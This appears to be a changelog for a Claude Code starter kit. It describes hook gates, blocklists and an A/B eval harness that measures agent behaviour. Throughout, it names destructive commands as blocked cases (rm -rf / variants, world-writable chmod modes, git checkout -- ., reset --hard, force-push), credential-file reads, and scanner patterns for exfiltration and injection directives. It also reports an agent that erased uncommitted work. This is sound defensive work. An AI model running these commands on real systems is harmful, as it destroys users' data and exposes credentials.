Nothing compared the two READMEs, so an edit reached one language and shipped. README.md received a corrected claim and a whole “Honest scope” blockquote that never reached README.tr.md, and every gate stayed green — only the skill catalogue and the agent count had ever been compared. smoke-test now checks structural parity: the heading-level sequence, table rows, code fences, and blockquote blocks (blocks, not lines — Turkish wraps longer). It reproduces the real divergence as 14 blocks against 13.
vps-deploy runtime detection covered four runtimes and singled one out in prose. The heuristic knew docker/node/python/go; .NET was absent from it but got a bespoke sentence, and Java, Rust, Ruby and PHP got neither. Detection now covers eight, the release-artefact step names each runtime’s own command, and no runtime is privileged in prose.
The README claimed breaking a critical rule was “impossible” — the guard script says “defence-in-depth”. The kit’s own source contradicted its front page, and for a security-adjacent audience an overclaim that is found is worse than a modest one. Both languages now state the real scope: the gate answers before the command runs and removes the accident, the shell is Turing-complete so a determined rewrite can reach around any pattern, and a hard boundary means a devcontainer or a VM — which /doctor-csk already reports on.
The mandatory security and privacy audits ran on a weaker model than the code they were reviewing. Both were pinned model: sonnet, set in the July 8 rename commit and never revisited across 156 commits. An omitted model field means inherit — the model the user picked for the session — so on an Opus session the experts wrote code on Opus and the gate that clears them ran on Sonnet. That is backwards for the one review this kit calls mandatory, and it is the opposite of what Claude Code does with its own built-in Explore agent, which inherits the session model capped upward so it “never runs on a more expensive model than the one you already chose” — inherit, cap up, never force down. Both pins are gone. security-expert-csk buys its extra rigour with effort: high instead: more thinking on the user’s own model rather than a different tier. session-manager-csk also loses its haiku pin — the handover is a synthesis over an entire session that decides what the next one knows, and its failure mode is silent. commit-agent-csk keeps haiku deliberately: turning a staged diff into a Conventional Commit is mechanical, and §4.1/§4.4 are gated, so a slip is caught rather than shipped. Two new gates so this cannot come back quietly: a model:/effort: value must be one the docs define (an unrecognised one does not error — Claude Code skips it and silently runs the inherited model, so a typo looks like it worked), and the mandatory audit agents must stay unpinned. Verified by injecting each deviation and confirming the matching case goes red.
Nothing in the suite ran a hook the way Claude Code runs it. All 300-odd gate cases pipe into bash "$HOOKS/<hook>.sh", which supplies the interpreter and ignores the shebang — so a lost execute bit or a CRLF line ending, the two failures an installer can actually introduce on Windows, survived every single case and would have died in a real session. One case now executes the hook as an executable, the way settings.json invokes it. Verified on a real install in three states: intact passes, chmod -x gives 2 errors, a CRLF shebang gives 1.
The route-hint cases failed on every pruned profile. §7y asserts that the hook names backend-expert-csk for a backend request, but a --frontend install prunes that agent, so the hook correctly said nothing and the case failed it for obeying its own rule — naming an agent that is not installed is exactly the wrong route those cases exist to prevent. A case now skips, visibly, when its owner is absent. This reached CI because e2e.sh runs the INSTALLED suite inside six pruned profiles while only the source tree had been checked locally; it failed with rc=1 and no output, the same set -euo pipefail signature this repo has been bitten by before.
The brand mark had three hand-kept copies and no gate. Four SVGs were down as orphans to delete on the strength of a grep that could not see them being used — because two of the uses are not file references (the published site inlines the mark as a data: URI favicon, gen-network.py hand-copies the same rects into the diagram core), and because the grep ran over the working tree while gh-pages is a separate branch. assets/favicon.svg was byte-identical to assets/icon.svg and is gone; icon.svg is now the single source, gen-network.py says so at the copy site, and check-gh-pages.sh compares all three on shape rather than bytes. logo-light.svg and mark.svg stay — light-background and transparent variants of a logo the READMEs do use.

Changed

The README led with the half of the kit that has the least evidence behind it. The old opening sold “gates, not reminders” — and the measurement says the opposite of what that implies: across the A/B suite the only case where the two arms separated was won by the always-on discipline text, with guard-bash never firing. Meanwhile the strongest, most falsifiable number the project owns — delegation going from 0 of 24 to 39 of 48 — sat in a single table cell, and evals appeared zero times in either README, so the one thing hardest for anyone else to copy (an A/B harness whose negative results are published) was invisible. The opening is now three claims with a number behind each: the specialists run, the rules are gates, and it says what it has not proven — linking straight to the six level results and to the awkward attribution above. The comparison table’s left column was a strawman (“typical agent kit / prompt collection”); it is now Claude Code with a CLAUDE.md, which is not a competitor at all but the exact control arm the harness measures, so the table can be checked rather than taken on faith. adopt moved up out of a table row: it is the situation most readers are actually in. the gate units were being re-run in every pruned profile.** The step breakdown put 77m29s of it in the e2e rehearsal, which runs the installed smoke-test seven times — and one run spawns 136 hook processes, each spawning jq, which is what Windows charges for. Those cases drive hook binaries the installer copies unchanged, so six profiles re-verified identical bytes six times. CSK_SMOKE_SCOPE=install skips them: 136 hook processes drop to 9, 304 cases to 165, and everything profile-dependent still runs in both scopes — counts, frontmatter, routing, §7y, commands, settings, plugin, doctor, adopt. The skip prints a note so a short run is not mistaken for full coverage, and install scope adds the executable-invocation canary above. Full scope stays the default and is what CI’s standalone smoke-test step runs.
A gate that returned the wrong exit code was scored as a working gate. A PreToolUse hook has exactly two answers: 0 allows, 2 blocks. Anything else — a syntax error, a missing interpreter, an unbound variable under set -u — means the hook died, and Claude Code runs the tool anyway. Thirty-five assertions in smoke-test §7 tested the three PreToolUse hooks with && fail || pass or if …; then fail, which treats every non-zero exit as a block, so all of them passed a hook that was failing open. Measured rather than argued, twice:
- one §4.5 rule changed to exit 1 — the world-writable chmod gate, so chmod 777 actually runs — left the old suite fully green; the new one reports 16 errors;
- guard-commit-scan.sh changed to exit 1 — the plugin edition’s only commit content gate failing open entirely, so an AI trace or a live secret walks into a commit — also left the old suite fully green; the new one reports 4.
All thirty-five now require exactly 2. Same class as the M1 fallback hole from the 1.4.0 audit, and it was found by injecting a deviation into the new observability channel below rather than by reading the code. The remaining gate scripts were audited the same way and are covered as they stand: guard-write.sh (2 errors under the same injection), the five non-blocking hooks (context-usage, route-hint, session-guard, session-rehydrate, skill-trust — graded on output, so a dead one goes red), and the git-hook/CLI gates (pre-commit, commit-msg, doctor.sh, scan-skill.sh), where git and the CLIs treat any non-zero as a failure, so a crash fails closed rather than open.

Added

The gates can now be observed firing. CSK_GATE_LOG=<path> makes guard-bash.sh and guard-write.sh append one TSV line per decision — BLOCK/ASK/ALLOW, section, rule, command. Absent unless the operator exports it, write-only, and logged after the verdict is settled, so it cannot influence one. It exists because “the model never reached for the command” and “the gate stopped it” leave behind identical artifacts. evals/permission-pressure — the one case where the arms separated — had to report “guard-bash never fired” as an inference, and that inference is the whole difference between evidence for the always-on discipline text and evidence for the tool gate. evals/run.sh now prints a “gates fired” line beside each score. It is reported, never scored: a channel only the kit arm can produce cannot enter the denominator without handing the kit points the control is structurally unable to earn. Eight cases in smoke-test §7k, four of them verified by injecting a deviation and confirming the matching case goes red — including the one that exposed the exit-code hole above.
evals/uncommitted-preserved — a failed experiment to undo before a demo, with an unrelated uncommitted change sitting in the same tree. SESSION_STATE had this case down as unbuildable: to measure “rule → gate” you need a run where the model actually attempts a §4.5 command, but a prompt that pushes hard enough to cause that IS the explicit user request §4.5 already permits. The way out is that the gated command does not have to be the goal — here the user asks for something entirely legitimate and the whole-tree revert is merely the fastest instrument to hand, so §4.5 applies at full strength and the model reaches for it, or does not, on its own. The experiment spans three files against one . that does the same job; the prompt never says checkout, restore, reset or clean. Graded on whether the unrelated work is still recoverable anywhere — git stash satisfies it and costs one command — because §4.5 gates irreversibility, not reverting. It is the sixth zero: 12/12 against 12/12 across three fixture variants and 18 sessions. In all nine control runs the bare arm noticed the fourth modified path from git status, said so, and left it alone. Two of the three variants exist because the fixture was planting the answer — a demo-note line and then a code comment, each quoted back verbatim by the control as its reason — and removing them changed nothing. Every round is published in evals/README.md, and the grader was dry-run against five hand-built outcomes (4/4 · 3/4 · 3/4 · 2/4 · 1/4) before any model saw it. Same diagnosis as ambiguity-surfaced: not “the kit does nothing” but the control saturated. No §4.5 gate fired in any of the nine kit sessions — and that is now a reading off the gate log rather than an inference from a transcript.

Verified

PreToolUse hooks run under bypassPermissions, and exit 2 is honoured there. guard-bash.sh has asserted this in a header comment since it was written, and the A/B harness runs every case in that mode, so a wrong assertion would have quietly invalidated the whole suite. Probed directly: a hook logged mode=bypassPermissions for both commands it saw and denied the second, which did not run.
An untrusted workspace drops permissions.allow entries and nothing else. A probe project carrying both an allow entry and a PreToolUse hook produced the exact has not been trusted warning — and the hook still ran and still returned exit 2. So a gate result measured in an untrusted scratch project is valid, and the runner’s warning no longer implies otherwise. Only cases that need a pre-approved permission are affected.
The specialists now run on a plain prompt. The kit’s premise is that a task lands with the agent that owns it, and measurement said that never happened: across the eval suite, two A/B pairs and a twelve-agent domain sweep, a focused single-domain request produced 0 delegations in 24 sessions. Three fixes were tried and all three scored zero — rewriting every agent description into ownership language, adding a concrete “call the Agent tool with subagent_type” paragraph to the discipline, and putting Task/Agent in the harness tool list. The subagents docs name three inputs to the delegation decision — the request, the description field, and current context — and the kit had only ever touched the last two. route-hint.sh is the first: a UserPromptSubmit hook that classifies the request against the installed agents’ trigger phrases and returns additionalContext, which the docs place “alongside the submitted prompt”. Measured 39 of 48 across four rounds, against a 0-of-24 baseline. Every one of the nine misses is accounted for and none of them is a refusal to delegate: five were a fixture that asked for work the project did not contain, two were the sandbox’s untrusted-workspace permission problem, one was a reasoned inline decision that named the agent it considered, and one was an invented “operator config” that exists nowhere on the machine. The wording is the whole mechanism. A first version hedged — “unless it is a one-line edit”, “if it is genuinely not that agent’s work, say so” — and scored 4 of 12, because a written escape hatch gets used. The docs give the phrasing that works verbatim (“Use the test-runner subagent to fix failing tests”), and that is what ships. An agent always outranks a skill when both match: the agent applies its own skills anyway, so naming it delivers the method plus the isolation and the audit path. It stays silent when no match is clear, ships in both editions, and carries six smoke-test cases — four owners and two silences, one of which pins the build/ui false positive that used to send CI failures to the frontend expert.

[1.10.1] - 2026-07-30

Reported from a real install: a design request produced a good analysis and no delegation. Nothing here is new functionality — it is the routing layer catching up with what the kit already claimed to do.

Fixed

The agents were not running, and widening their vocabulary was not the fix. This started as a report that a design request produced a good analysis and no delegation. Two rounds of trigger-phrase work later, the question was finally measured instead of theorised, in a clean install with the delegation tool available: a task squarely inside frontend-expert-csk’s domain produced 0 delegations on its own — with the old description and with a rewritten “owns everything the user sees” one — while /review, whose body @-mentions its agents, produced 3 of 3. The official docs say Claude decides delegation from the request, the description field and the context, and offer no way to force it; @agent-<name> is the one form that guarantees a subagent runs. So the commands now @-mention their agents (/plan, /brainstorm, /review, /ship), the discipline states that naming an agent in prose is a hope and @agent- is a guarantee, and both READMEs teach the escape hatch. Verified live, not assumed: /review on a clean install invoked review-agent-csk, security-expert-csk and performance-expert-csk.
The A/B harness could not delegate at all. evals/run.sh passed --allowedTools Bash Read Write Edit — Task/Agent were absent, so every result it has ever produced was measured with the agent layer switched off, against a kit whose central claim is the agent layer. The flag is fixed and evals/README.md now carries the caveat above its results table rather than quietly leaving six “no difference” rows to be misread.
doctor.sh now reports whether delegation is switched off. Denying the Agent tool in permissions.deny is the documented way to stop every subagent, and the only symptom is that all work quietly happens on the main thread — which reads as a broken kit rather than a setting. Checked at project, local and user scope.
The session line stopped announcing its own failure every turn. 🔋 Session: could not measure on every reply is noise that reads as a broken kit. The rule now: no reading → run the command once; if that also fails, say so once and drop the line.
Agent descriptions were inviting the model to stay inline. backend, database and frontend each ended with a clause like “small tweaks stay inline” — the model could take its excuse from the agent’s own description. Replaced with ownership: “Use proactively — owns everything the user sees or interacts with… any request about it is yours whatever its size, wording or language.”
Agents were unreachable by the words users actually type. The skills carried the user’s vocabulary — frontend-design triggers on “visual design”, “typography”, “spacing” — so the skill fired, the route trace printed, and every gate stayed green while the agent that owns the work carried only structural vocabulary: screen, component, page, navigation, state management. “The app doesn’t look premium, the icons are inconsistent” matched no agent at all, so a token layer across fifteen screens stayed on the main thread. frontend-expert-csk gains visual design · design system · design token · dark mode · look premium, and its “use proactively” clause now names visual work — that clause, not the trigger list, is what the harness reads when it decides whether to delegate. performance-expert-csk gains memory leak and laggy; systematic-debugging gains “is broken” and “crashes”, which is how an unknown cause actually gets reported.
A short trigger matched inside a longer word. UI matched build, so “the build fails on CI” routed to the frontend expert — a wrong route is worse than none, because it looks like the kit worked. The trigger is now UI polish and the matcher is word-bounded. Found while verifying that: a bare token trigger sent “design token layer” to the session-context skill; now token budget / token cost.
token-budget had no positive routing case at all. Narrowing a trigger has to be paid for with one, or the fix for a wrong route quietly creates an unreachable component.

Added

Ten golden routing cases, seven of which assert an AGENT for a sentence a person would really type. The old design case asserted the skill, which is why the gate proved a mapping existed and never proved a real sentence reached the delegation layer — the same shape as the gate holes fixed in 1.10.0.
How to GET a release, per channel. The plugin channel documented /plugin marketplace add and stopped. An installed plugin stays on the version it was installed at until someone asks for a newer one, and claude plugin update needs a restart, so nothing about it is automatic. Both READMEs and the npm README now carry claude plugin marketplace update + claude plugin update, verified against claude plugin --help rather than recalled. This had teeth: 1.10.0 closed three §4.5 holes, and a plugin user with no upgrade path keeps all three. The release skill gets the standing check — every channel must have a documented way to receive the version, because publishing and reaching users are different events.

Changed

The Trigger phrases: lists moved out of the agents’ description field into the body. The official contract calls description “when Claude should delegate to this subagent”, and that is the field Claude reads to decide — fifteen quoted keywords sitting in it compete with the sentence that states when. routing-eval greps the whole file, so the routing set is unchanged, and agent frontmatter fell 5,936 → 4,261 bytes.
The README no longer claims the agents “auto-chain”. They chain because the commands @-mention them. Automatic delegation is a model judgement in any kit; where it must happen, the kit no longer leaves it to chance, and the README says which is which.
The upstream attribution list is gone. Two DevArchitecture mentions are deliberately kept and are not attributions — --dotnet genuinely clones that repository, so the sentence describing the installer would become false without it.
The discipline shrank 182 bytes as a result; always-on went 28,858 → 28,697 even after everything added above. The attribution list was carried into every session and taught the model nothing.

[1.10.0] - 2026-07-29

Three §4.5 rules that could be walked around, and the measurement that found the first one. All of it comes from a single observation: a gate that matches one spelling of a command has protected nothing.

Fixed

The world-writable rule matched the string, not the state. chmod 777, 0777, a+rwx and +rwx were blocked; 1777, 2777, 666, 646, o+w, a+w and o=rwx all reached exactly the same place and all passed. This was not found by reading the pattern — the A/B harness found it. Asked to open a directory “wide enough for any account”, the uninstrumented model reached for chmod 1777, sticky bit and all: the one spelling nobody had thought to write down. The rule now matches any mode whose result is writable by other, and 755, 644, 775, u+w and chmod +x are pinned as cases so widening it did not cost a false positive.
rm -rf was case-blind and long-flag-blind. rm -rf / was blocked while rm -Rf /, rm -fR /, rm -f -r / and rm --recursive --force / were not. The target scoping (/ · * · ~) is deliberate and unchanged — rm -rf build is a routine local delete, and a gate that fires on it is a gate people learn to work around. The rule had no test case at all, which is why it went unnoticed for eleven releases; it now has sixteen.

Added

A whole-tree git checkout -- . / git restore . is gated (§4.5). It destroys every uncommitted change with no reflog and no undo — the same loss as reset --hard, which has been gated since the beginning, by a command that was not. A verification subagent ran exactly this over uncommitted work in this repo and took the working tree with it. Reverting one named file stays allowed: everyday, recoverable, and gating it would make the rule noise. git -C <path> and git -c k=v cannot walk around it, and a commit message containing the word “checkout” does not trip it — both pinned as cases.
permission-pressure, the first eval case to show a difference. Five earlier cases asked the model to do an obvious good thing, politely, and the base model already did it. This one supplies a deadline, a plausible reason and a nudge toward the blunt instrument, because that is the shape a request has when careful behaviour actually fails. Kit 12/12 against bare 9/12: on the signal check the split is total — bare made the directory world-writable in 3 of 3 runs, the kit in 0 of 3. Graded on file modes, which are integers.
43 gate cases across chmod, rm and the whole-tree revert — every spelling that must be blocked and every neighbour that must not.

Changed

§4.5 in the discipline now says a world-writable chmod rather than chmod 777, and names git checkout -- .. 27 bytes of always-on cost, spent deliberately: a user told a narrower rule than the one that fires reads the block as a bug and works around it.
The mechanism behind that 3-of-3 result is not the one the kit’s design predicts, and the README says so. guard-bash.sh never fired — the kit arm never attempted the command, declining on its own and citing the rule, because the discipline was in its context. That is evidence for the always-on text, not for the tool gate, and the two claims are not interchangeable.

[1.9.0] - 2026-07-29

Added

The commit content gate reaches the plugin edition (guard-commit-scan.sh). A plugin ships Claude Code hooks, not git hooks, and cannot set core.hooksPath — so a plugin-only install had the commit approval gate and none of the commit content gates: a credential or an authorship trailer could land there while the other three distribution channels stopped it. One of four channels was quietly weaker, and nothing said so. The hook runs the real pre-commit and commit-msg scanners from PreToolUse rather than re-implementing them — a second matcher is how a gate passes while the thing it guards is broken. It reads -F <file>, covers git commit -a (where at that moment the content is still unstaged), and refuses the editor path only where no commit-msg hook can scan it afterwards.
Four records the kit expected but never wrote down. [NEEDS CLARIFICATION: <the question>] markers in spec-planning, so an unresolved ambiguity survives into the artifact instead of being filled in with the likeliest reading — and no acceptance criterion may contain one. A bypass line in confidence-check and adr, so a gate that was weighed and overridden stops being indistinguishable from one that was missed; revisit: is the load-bearing field, since a bypass with no condition attached is permanent by default. A complete / partial / unknown coverage ledger in security-scan, promoted to an invariant rule, because “no findings” and “never looked” otherwise read identically to whoever acts on the report. And the micro-test method in eval-grader: sample a wording against a no-guidance control and read every run by hand.
The installer names the vendored front-end assets up front (start.sh). The .NET base carries ~8 MB under wwwroot/lib/**/dist/, and the repo-bloat gate stops the first commit over them. That is the gate working — whether to commit third-party assets is a real decision — but meeting it at git commit time on a project you have not written a line of reads as breakage. The count, the path and the two ways out are stated while the context is obvious.
An A/B eval harness (evals/, repo-internal — it is not part of an install). The same prompt in a kit-installed project and a bare one, graded on what is left on disk and never on the transcript, with both arms given identical tool access. Wired into no gate and no CI job: it costs real tokens.

Fixed

CLAUDE_GIT_OK never actually pre-authorised anything. The key had one purpose — let a headless or CI session commit with nobody at the keyboard — and did not achieve it: the hook answered exit 0, which means “this hook has no opinion”, while settings.json also asks for git add and git checkout -b. Those rules stayed in force, so a keyed session could not even stage, and §4.4 advertised the flag as the way to work unattended. It now returns an explicit allow for the approval-gated set, reached only after the §4.5 blocks — a pre-authorised session still cannot force-push, amend, reset --hard or git add -f.
§4.1 stopped a fresh install from making its first commit. The trace pattern matched the bare words Generated by / Generated with, which is the header written by every code generator in existence — a Dart lockfile, an EF Core scaffold, protoc, openapi-generator. A --dotnet install clones a base that carries one, so a greenfield project could not commit at all. The rule is about authorship by a model, and the pattern now requires that context nearby; both false-positive classes are pinned as clean cases.
The README’s network diagram announced the wrong size. The picture was regenerated as the kit grew, but its subtitle was typed by hand and stayed at “11 agents × 36 skills” while the diagram itself drew 12 and 38. It is the one claim in that image a reader takes at face value, because nobody counts 38 nodes. The subtitle is derived from the data that draws the diagram now, and the checked-in SVG is compared against the payload by the README catalogue gate, which already runs in CI.
The stated always-on cost was a release out of date. Both READMEs said ~26 KB and ~10k tokens; the measured figure is 28,605 bytes, about 12k tokens on a real turn. The byte budget was gated and the sentence describing it was not.

Changed

Two skill bodies moved recipe material into references: vps-deploy (−669 B, proxy/SSL file contents) and db-migration (−1103 B, the nine-tool matrix). A project uses one proxy and one migration tool, not all of them; the decisions stay in the body.
bypassPermissions is no longer carried as an open question. The published hooks reference documents permissionDecision, documents the permission modes, and says nothing about how the two interact — so there is no contract to rely on, and a gate resting on observed-but-unspecified behaviour is a bug even while it happens to work. Failing closed is a decision now, not a pending measurement.

[1.8.0] - 2026-07-28

Added

confidence-check skill — the kit’s only gate that fires before implementation. Review, the DoD and the commit approval all catch bad code; none of them catch correct code that duplicates something already in the tree or is built on a recalled API shape, because what reaches a reviewer is a clean diff. Five checks answered with evidence rather than recollection, and any “no” is a stop. Deliberately not a weighted score: with five checks and any sane bar a single failure sinks it anyway, so weights would only decorate a binary decision.
dependency-upgrade skill — the acting half of dependency work, split from dependency-audit, which had promised “outdated packages” in its description and never taught it. Asks vulnerable, deprecated and behind as three separate questions, classes every target version patch/minor/major, lands security fixes first and alone, never applies a major automatically, moves manifest and lockfile together, and treats a green build plus a green suite as the only evidence an upgrade worked.
performance-expert-csk agent — security, privacy and tests each had an independent reviewer; performance was the one quality axis where the author of a change audited their own hot path. Read-only, like the security auditor. Built around the tension that makes such an agent risky: the performance skill says measure before optimising, so anything read off a diff is reported as a candidate with the measurement that would settle it, and only a number promotes it to a finding.
session-stats.sh — reads what a session actually did off the transcript (failing tool loops, repeated prompts, interrupts, compactions, delegation rate) so reflect and handoff rest on the record instead of the model’s recollection of its own work. Wired to no hook event; run on demand.
skill-trust.sh — a skill file is executable instruction, and they arrive by routes nobody reviews. At session start, any component the kit never shipped and the user never accepted is named, with the supply-chain scanner’s verdict. Acceptance is deliberate and recorded as a digest, so an edit after acceptance comes back.
Project-readiness block in doctor.sh — advisory, never changes the verdict: is the CLAUDE.md project section filled in, is there a project-specific skill, a devcontainer, an MCP server, and has CLAUDE.md drifted behind the code.
.claude/kit-manifest.txt — written by both installers from the payload, so kit-owned and project-owned components can finally be told apart.
Rule precedence in the discipline — what wins when two rules collide: prohibitions and safety, then the user’s explicit instruction, then scope as asked, then quality, then speed.

Fixed

The discipline could sit on disk and never load. .claude/DISCIPLINE.md is inert unless ./CLAUDE.md imports it, and every existing check was blind to that: hooks fire, gates look live, and routing, the DoD and session management never enter the context. doctor.sh now fails on it.
A compaction disarmed the session gate. /compact keeps the same session id, so the once-per-threshold markers survived it: a session warned at 90% could compact, fill right back up and never be warned again. Markers are keyed by compaction generation now, and an automatic compaction is reported once at any fill.
A credential could be read even though it could not be committed. .env was the only credential file either gate covered, leaving SSH private keys, AWS credentials, kubeconfigs and .netrc open. The commit scan catches a secret leaving the repo; nothing caught one merely read into the context.
A --generic install lost routing. The generic backend variant did not route confidence-check or sonarqube-check. The orphan check could not see it — both are routed by some agent, so nothing is orphaned; they were simply unreachable on that stack. A parity gate now covers it.
One high-severity hit scored as safe. A single finding cost 10 points and landed on exactly 90, the SAFE line, so one credential-exfil line or one injection directive passed on arithmetic. Severity now floors the verdict, and the exfil pattern matches both phrase orders instead of only reader-then-path.
The test runner was pinned to one stack. The test agent and the testing skill named dotnet test as their definition of done in components that ship to every profile, including frontend- and mobile-only ones.
The published site had no gate. It is hand-written with no source in the repo and no build step, and it drifted the obvious way — 1.7.0 updated its counters and forgot the version marker. The release workflow now compares the site’s version and counters with the payload before publishing.

Changed

Every pattern in trace-blocklist.txt and secret-blocklist.txt carries its own case on the line below it, and the suite runs all of them through the real pre-commit rather than re-implementing the match — a second matcher would pass while the real one was broken. A pattern with no case fails the suite.
The blocklists’ self-exclusion is matched by file name instead of one installed path; anchored to .claude/hooks/, it stopped applying in the kit’s own repo, which scanned its own pattern list.

[1.7.0] - 2026-07-20

Added

threat-model skill — scope a security audit before scanning, to cut false positives. It maps assets, entry points, trust boundaries and 5-8 domain-specific attack classes into a parseable docs/THREAT_MODEL.md; security-expert-csk runs it first and security-scan then reviews that surface. A threat survives a patch; a vulnerability is only evidence for one.
eval-grader skill — measure the quality of a generative task instead of vibing it: a two-layer grader (deterministic code metrics + per-dimension LLM-as-judge), signed deltas against a pinned baseline, and a pass-slow verdict that grades cost alongside correctness — the external, machine-grounded verifier iterate asks for.
An agent/skill network diagram in the README — a data-driven map (assets/network-*.svg, built from the repo by packaging/gen-network.py) of all 11 agents, 36 skills, and their real applies relationships.

Changed

security-scan gained an adversarial verification pass — N independent verifiers that start from the code and hunt for why a finding is wrong, a false-positive exclusion taxonomy, a CANNOT_VERIFY verdict, and severity derived from preconditions × access rather than the vulnerability category (references/verify.md), plus defensive-security prompting rules (references/prompting.md).
AGENT_TEMPLATE.md now covers decomposing along the tool < skill < subagent cost axis and requiring a typed contract between stages.
frontend documents a verify-by-contract runtime convention — data-verify-* attributes, a window.__verify handle, and the PASS/FAIL/BLOCKED/SKIP taxonomy (references/verify-contract.md).
README restructured for reading order — the feature inventory and network diagram surface before the install reference; the two differentiation tables are merged into one; the update mechanics collapse into a details block.

[1.6.3] - 2026-07-17

Fixed

/update-csk no longer hangs at npx’s own install prompt. The command ran npx @…@latest update --here --yes — the trailing --yes reaches the updater, but npx itself prints Ok to proceed? when it first installs the package, a prompt that reads the real TTY and ignores piped input, so an agent-driven / non-interactive run blocked before the kit even started (the update silently never happened). The command now runs npx --yes @… so npx’s own --yes auto-confirms the install and /update-csk completes unattended. (1.6.1 fixed the updater’s own prompts; this fixes the npx layer above them — both are needed for a clean unattended refresh.)

[1.6.2] - 2026-07-17

Changed

A fresh install auto-runs ordinary commands; only commit/push and destructive ops interrupt you. settings.json now ships permissions.allow: ["Bash"], so everyday commands (build, test, ls, git status …) run without a prompt in the default and acceptEdits modes. git add/commit/push/checkout -b and ssh/scp/rsync/docker still prompt — an ask rule always wins over allow — and destructive / RCE / gate-tamper commands stay hard-blocked by guard-bash.sh (its exit 2 overrides allow). Note: the classifier-based auto mode intentionally drops a blanket Bash allow, so there it defers to the classifier.
Decision points ask with the AskUserQuestion tool. The discipline now directs the model to ask with structured single/multi-select options at every decision point — never prose the user must type back, and never skipping the question — instead of the old “numbered options” prose. (This is model discipline, not a hook-enforced gate.)

[1.6.1] - 2026-07-16

Fixed

update / adopt --yes no longer hangs under a TTY. The confirmation prompts tested for a TTY before honoring --yes, so an unattended run that inherited a pseudo-terminal (Claude Code drives shell commands under a pty on Windows) blocked waiting for input that never came — /update-csk timed out with nothing changed. --yes is now checked first at every gate, including the agent-overlap (owner) and off-repo prompts that did not route through the shared helper. A pty-based regression test (e2e.sh [adopt-pty-yes]) allocates a real terminal and asserts an unattended refresh completes, so this class of hang cannot return.

[1.6.0] - 2026-07-16

Added

No idle components — a routing invariant, now enforced. Every skill and agent must be routed: named by an agent, a command, or the discipline’s trigger map. smoke-test.sh (§3b) fails if any component is reachable only by its own description. Four previously-unrouted main-thread skills — iterate, reflect, worktree, mcp-builder — are wired into the trigger map, so nothing ships dark.

Changed

sonarqube-check is local-first and self-bootstrapping. Instead of pointing at a shared or remote SonarQube server, the gate installs the project language’s local, server-less analyzer when none exists and runs it in place — .NET → SonarAnalyzer.CSharp Roslyn NuGet at build time (TreatWarningsAsErrors); JS/TS → eslint-plugin-sonarjs; and the language-native equivalents elsewhere. A full SonarQube dashboard becomes optional, only when a project runs its own instance. The Definition-of-Done gate follows the same wording.

Fixed

The orphan-routing check is grep-portable. The §3b matcher drops the ^/$ line-anchor alternation that ugrep matches unreliably and no longer folds the search term into its own file-argument list, so the gate is correct under GNU grep, BSD grep, and ugrep alike.

[1.5.1] - 2026-07-15

Changed

The stale agent-name check now follows CLAUDE.md’s reference chain. doctor and adopt’s install-proof stage no longer scan only CLAUDE.md; they also scan every local doc it points to (its @imports and docs/…md paths), so an orchestration doc like docs/AGENTS.md that a takeover left naming the old bare agents is caught too. Unreferenced design/audit docs and code comments are ignored, so it stays complete without false positives.

Fixed

A takeover now completes its own migration. When adopt renames the project’s agents to their -csk ids, it rewrites every bare reference to them across CLAUDE.md’s reference chain (boundary-safe: -csk/-local suffixes and longer words are left intact), so delegation to a renamed agent no longer silently fails. The edit lands on the adopt review branch, visible and revertible; hand-authored prose outside the chain is never touched.

[1.5.0] - 2026-07-15

Added

Diagnose-first routing. The orchestration workflow now opens with a diagnosis step: a cross-domain bug whose root cause is unknown routes to general-purpose applying the systematic-debugging skill before planning — unclear scope is not the same as an unknown cause, and you cannot sequence a fix you cannot locate.
A one-line route trace on every task. Each task opens with 🔧 <agent> (delegating) or 🔧 inline · <skill> (main thread) plus a reason, so the kit’s delegate-or-inline work is always visible instead of silent.
doctor + adopt detect stale agent names. A brownfield takeover renames the project’s agents to -csk ids, but the project CLAUDE.md may still name the old bare agent — a reference that matches no installed agent, so delegation to it silently fails. doctor.sh and adopt’s install-proof stage now report each such reference with its CLAUDE.md line and the correct id (auto-delegated agents as a failure, pull-only agents as a consistency note). Detection only; hand-authored prose is never auto-rewritten.
A smoke-test gate for auto-delegation cues. Every non-pull agent description must carry an action cue (use proactively / immediately after), so a passive rewrite can’t silently stop the specialists from firing.

Changed

The specialist agents now auto-delegate. Claude Code routes to a subagent on its description field and only fires reliably when that description carries an action cue. The nine producing/auditing agents were rewritten to lead with “use proactively …” (with an inline carve-out for trivial edits); commit-agent-csk and session-manager-csk stay pull-only. The passive descriptions before this rarely auto-invoked, so the specialists stayed dormant and the kit read as inert.

[1.4.4] - 2026-07-14

Fixed

The settings self-heal now finds Python on Windows. The merge looked only for python3, but a Git-Bash install commonly exposes Python only as py (the Windows Python Launcher) or python — so on those machines the updater fell through to the no-parser fallback and, for a project it misjudged, left a settings.json.kit reference instead of healing settings.json. The merge now probes python3, then python, then py, and uses whichever exists, so /update-csk heals cleanly via Python where jq is absent. Covered by an e2e leg that runs the merge with Python reachable only as py.

[1.4.3] - 2026-07-14

Fixed

The secret/trace commit gate was blind on Windows. On an autocrlf (CRLF) checkout the pre-commit scanner read its blocklists with a trailing carriage return, so every pattern carried a \r and never matched the LF diff — a Windows user’s commits weren’t actually protected. The blocklist loops now strip a trailing \r, and .gitattributes pins the data files to LF. Verified on a Windows CI runner.
/update-csk now self-heals with no jq/python and no flags. The settings merge previously required jq or python3; with neither (typical Windows Git-Bash) an update silently skipped it and left the hooks stale. A no-parser bash path now safely replaces a kit-only settings.json (a timestamped backup is kept), and a non-interactive update of an existing install applies by default — so a plain /update-csk refreshes the install end to end.

Added

--yes flag on the updater for non-interactive / CI runs, and a cross-platform CI matrix (Linux · macOS · Windows) plus an e2e self-heal rehearsal, so the installer is proven on all three platforms.
Leaner npm README + broader keywords for the package page (the rich README stays on GitHub).

[1.4.2] - 2026-07-14

Fixed

/update-csk no longer hangs. The updater’s final apply gate always read stdin, so off a controlling terminal — an agent’s non-interactive shell — it blocked forever on an open, empty stdin instead of resolving. /update-csk, which runs the updater on the user’s behalf, therefore hung mid-run. The prompt helper is now TTY-aware: it asks only on a real terminal, and off one it resolves without reading — --yes proceeds, otherwise it declines cleanly (nothing changes) rather than blocking.

Added

--yes flag on the updater (adopt.sh / npx … update) for non-interactive, agent-driven, or CI runs. /update-csk now invokes npx @byerlikaya/claude-starter-kit@latest update --here --yes, so an in-session update runs to completion; a user who wants to review each handover decision still runs the plain command in their own terminal. Covered by an e2e regression (no-hang · --yes applies · stale hooks refreshed · CLAUDE.md preserved).

[1.4.1] - 2026-07-14

Fixed

